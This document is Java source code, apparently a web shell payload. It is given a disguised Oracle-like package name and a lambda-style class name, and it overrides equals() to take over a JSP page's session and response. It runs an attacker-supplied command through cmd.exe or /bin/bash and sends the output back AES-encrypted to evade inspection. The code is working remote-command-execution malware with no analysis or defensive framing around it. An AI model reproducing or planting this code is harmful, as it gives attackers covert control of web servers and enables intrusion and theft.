package com.oracle.qb.jnbp;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Random;
import java.util.UUID;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
public class RqFl$$Lambda$1 {
public static String cmd;
private ServletRequest Request;
private ServletResponse Response;
private HttpSession Session;
private byte[] Encrypt(byte[] var1) throws Exception {
byte[] var2 = this.Session.getAttribute("u").toString().getBytes("utf-8");
Cipher var3 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var3.init(1, new SecretKeySpec(var2, "AES"));
return var3.doFinal(var1);
}
private String buildJson(Map<String, String> var1, boolean var2) throws Exception {
StringBuilder var3 = new StringBuilder();
String var4 = System.getProperty("java.version");
var3.append("{");
Iterator var5 = var1.keySet().iterator();
while(var5.hasNext()) {
String var6 = (String)var5.next();
var3.append("\"" + var6 + "\":\"");
String var7 = (String)var1.get(var6);
if (var2) {
Class var8;
Object var9;
if (var4.compareTo("1.9") >= 0) {
var8 = Class.forName("java.util.Base64");
var9 = var8.getMethod("getEncoder", (Class[])null).invoke(var8, (Object[])null);
var7 = (String)var9.getClass().getMethod("encodeToString", byte[].class).invoke(var9, var7.getBytes("UTF-8"));
} else {
var8 = Class.forName("sun.misc.BASE64Encoder");
var9 = var8.newInstance();
var7 = (String)var9.getClass().getMethod("encode", byte[].class).invoke(var9, var7.getBytes("UTF-8"));
var7 = var7.replace("\n", "").replace("\r", "");
}
}
var3.append(var7);
var3.append("\",");
}
if (var3.toString().endsWith(",")) {
var3.setLength(var3.length() - 1);
}
var3.append("}");
return var3.toString();
}
private String getRandomString() {
int var1 = (new Random()).nextInt(36) + 1;
return UUID.randomUUID().toString().substring(var1);
}
private String RunCMD(String var1) throws Exception {
Charset var2 = Charset.forName(System.getProperty("sun.jnu.encoding"));
StringBuilder var3 = new StringBuilder();
if (var1 != null && var1.length() > 0) {
Process var4;
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
var4 = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", var1});
} else if (var1.startsWith("!") && var1.contains(" ")) {
var1 = var1.substring(1);
String var8 = var1.substring(0, var1.indexOf(" "));
String var6 = var1.substring(var1.indexOf(" ") + 1);
var4 = Runtime.getRuntime().exec(new String[]{var8, "-c", var6});
} else if (var1.startsWith("@")) {
var1 = var1.substring(1);
var4 = Runtime.getRuntime().exec(var1);
} else {
File var5 = new File("/bin/bash");
if (!var5.exists()) {
var4 = Runtime.getRuntime().exec(var1);
} else {
var4 = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", var1});
}
}
Thread.sleep(200L);
InputStream var9;
if (var4.getErrorStream().available() != 0) {
var9 = var4.getErrorStream();
} else {
var9 = var4.getInputStream();
}
BufferedReader var10 = new BufferedReader(new InputStreamReader(var9, "GB2312"));
for(String var7 = var10.readLine(); var7 != null; var7 = var10.readLine()) {
var3.append(var7).append("\n");
}
}
return new String(var3.toString().getBytes(var2));
}
public boolean equals(Object var1) {
boolean var2 = false;
HashMap var3 = new HashMap();
boolean var14 = false;
ServletOutputStream var22;
label118: {
label119: {
try {
var14 = true;
if (var1.getClass().toString().contains("PageContext")) {
this.Response = (ServletResponse)var1.getClass().getDeclaredMethod("getResponse", (Class[])null).invoke(var1);
this.Session = (HttpSession)var1.getClass().getDeclaredMethod("getSession", (Class[])null).invoke(var1);
var2 = true;
} else {
this.Session = (HttpSession)((Object[])((Object[])var1))[0];
this.Response = (ServletResponse)((Object[])((Object[])var1))[1];
}
this.Response.setContentType("application/octet-stream");
this.Response.setCharacterEncoding("UTF-8");
if (var2) {
Object var4 = Class.forName("javax.servlet.jsp.PageContext").getMethod("getOut").invoke(var1);
var4.getClass().getMethod("clear").invoke(var4);
}
var3.put("msg", this.RunCMD(cmd));
var14 = false;
break label118;
} catch (Exception var19) {
var3.put("msg", var19.getMessage());
var14 = false;
} catch (Throwable var20) {
var3.put("msg", var20.toString());
var14 = false;
break label119;
} finally {
if (var14) {
try {
var3.put("status", "success");
var3.put("random", this.getRandomString() + this.getRandomString());
ServletOutputStream var6 = this.Response.getOutputStream();
var6.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
var6.flush();
var6.close();
} catch (Exception var15) {
var15.printStackTrace();
}
}
}
try {
var3.put("status", "success");
var3.put("random", this.getRandomString() + this.getRandomString());
var22 = this.Response.getOutputStream();
var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
var22.flush();
var22.close();
} catch (Exception var17) {
var17.printStackTrace();
}
return true;
}
try {
var3.put("status", "success");
var3.put("random", this.getRandomString() + this.getRandomString());
var22 = this.Response.getOutputStream();
var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
var22.flush();
var22.close();
} catch (Exception var16) {
var16.printStackTrace();
}
return true;
}
try {
var3.put("status", "success");
var3.put("random", this.getRandomString() + this.getRandomString());
var22 = this.Response.getOutputStream();
var22.write(this.Encrypt(this.buildJson(var3, true).getBytes("UTF-8")));
var22.flush();
var22.close();
} catch (Exception var18) {
var18.printStackTrace();
}
return true;
}
}
Comments
0 B
|👍
/👎